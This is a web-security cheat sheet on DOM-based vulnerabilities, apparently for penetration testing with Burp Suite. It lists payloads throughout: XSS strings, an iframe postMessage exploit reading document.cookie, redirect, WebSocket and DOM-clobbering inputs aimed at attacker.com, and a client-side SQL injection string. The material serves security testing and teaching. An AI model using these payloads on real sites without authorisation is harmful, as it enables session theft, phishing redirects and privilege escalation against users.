DOM-Based Vulnerabilities
DOM-based vulnerability exploitation: sources (location, postMessage, document.referrer), sinks (innerHTML, eval, location.href, document.write), DOM XSS, open redirect, cookie manipulation, WebSocket URL poisoning, DOM clobbering, and Burp DOM Invader workflow.
What are DOM-Based Vulnerabilities
DOM-based vulnerabilities arise when JavaScript takes data from an attacker-controlled source and passes it to a dangerous sink without sanitisation. The processing happens entirely in the victim’s browser — the server never sees the malicious payload.
Sources and Sinks Reference
Common Sources (attacker-controlled inputs)
| Source | Example |
|---|---|
location.search | ?param=PAYLOAD |
location.hash | #PAYLOAD |
location.href | Full URL including query + hash |
document.referrer | Value of the HTTP Referer header |
document.cookie | Cookie values |
window.name | Persists across navigation |
postMessage data | Cross-origin messages |
localStorage / sessionStorage | If populated from untrusted input |
| WebSocket messages | If relayed to DOM |
Dangerous Sinks
| Sink | Vulnerability | Example |
|---|---|---|
innerHTML | DOM XSS | element.innerHTML = source |
outerHTML | DOM XSS | element.outerHTML = source |
document.write() | DOM XSS | document.write(source) |
eval() | Code execution | eval(source) |
setTimeout(str) | Code execution | setTimeout(source, 100) |
setInterval(str) | Code execution | setInterval(source, 100) |
Function(str) | Code execution | new Function(source)() |
location.href | Open redirect + XSS | location.href = source (if javascript:) |
location.assign() | Open redirect | location.assign(source) |
location.replace() | Open redirect | location.replace(source) |
src attribute | Script/image injection | script.src = source |
document.domain | SOP weakening | document.domain = source |
jQuery.html() | DOM XSS | $(selector).html(source) |
jQuery.$() | DOM XSS | $(source) if source is HTML |
Detection with DOM Invader (Burp)
- Open target in Burp’s built-in browser.
- Click the DOM Invader toolbar icon → Enable.
- DOM Invader injects a canary string into every source (URL params, hash, postMessage) and monitors all sinks for the canary.
- When a canary reaches a sink → DOM Invader pops an alert and reports the source→sink chain.
- Click Exploit in DOM Invader to auto-generate a PoC payload.
Manual JS source grep
In Burp Target → Site map, right-click host → Engagement tools → Find scripts. Then search for dangerous sinks:
grep -r "innerHTML\|document\.write\|eval(\|location\.href\|\.src\s*=" *.js
DOM XSS
Via location.search
https://TARGET/page?search="><img src=x onerror=alert(document.domain)>
Via location.hash
https://TARGET/page#"><img src=x onerror=alert(1)>
Via document.write with script context
If the source lands inside a <script> block:
https://TARGET/?param=";alert(1);//
Via jQuery html()
https://TARGET/#<img src=x onerror=alert(1)>
Via innerHTML (filter bypass — no script tag needed)
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
DOM Open Redirect
If the app reads a URL from a source and navigates to it:
var next = new URLSearchParams(location.search).get('next');
location.href = next;
Test:
https://TARGET/?next=https://attacker.com
https://TARGET/?next=//attacker.com
https://TARGET/?next=javascript:alert(1)
The javascript: URL scheme executes code in the context of the current page when used as location.href.
DOM Cookie Manipulation
If a source value is written into document.cookie:
document.cookie = 'lang=' + location.hash.slice(1);
Inject a cookie:
https://TARGET/#en; admin=true
If the app reads the admin cookie from document.cookie for access control → privilege escalation.
postMessage Vulnerabilities
Apps that use postMessage without origin checking allow cross-origin message injection.
Detection
In browser DevTools console, add a listener and send test messages:
// Listen to all postMessages on the page
window.addEventListener('message', function(e) {
console.log('origin:', e.origin, 'data:', e.data);
});
Or inject via Burp’s browser — DOM Invader automatically tests postMessage sources.
Exploit: inject via iframe
<iframe src="https://TARGET/page" id="target"></iframe>
<script>
document.getElementById('target').onload = function() {
this.contentWindow.postMessage('<img src=x onerror=alert(document.cookie)>', '*');
};
</script>
DOM WebSocket URL Poisoning
If a WebSocket URL is constructed from a source:
var wsUrl = 'wss://' + location.search.split('host=')[1] + '/chat';
var ws = new WebSocket(wsUrl);
Test:
https://TARGET/?host=attacker.com/malicious
Your server receives the WebSocket connection.
DOM Clobbering
DOM clobbering uses HTML elements to overwrite JavaScript variables — no <script> required. Named elements (id / name attributes) become properties of document and window.
If app code reads window.someVar or document.someVar and you can inject HTML:
<a id="someVar" href="javascript:alert(1)">click</a>
Or for nested properties (config.adminUrl):
<form id="config">
<input id="adminUrl" value="https://attacker.com" />
</form>
Now config.adminUrl.value → https://attacker.com.
Escalate to XSS
If someVar is used as a URL in location.href or script.src:
<a id="config" href="javascript:alert(document.domain)">x</a>
<object id="config" data="javascript:alert(1)">
DOM-Based Client-Side SQL Injection
If the app uses Web SQL Database (deprecated but still found in older apps):
db.transaction(function(tx) {
tx.executeSql('SELECT * FROM users WHERE name = "' + userInput + '"');
});
Inject via the source that feeds userInput:
?name=x" OR "1"="1
Burp Suite workflow
- DOM Invader (Burp browser) — enable; auto-discovers source→sink chains and generates PoC.
- Target → Engagement tools → Find scripts — extract all JS files; grep for dangerous sinks.
- Repeater — manually test URL parameters and fragments with canary strings; watch for reflection in responses.
- Scanner — active scan detects DOM XSS sinks automatically.
- Proxy → Match and Replace — inject canary strings into all query parameters to find reflections at scale.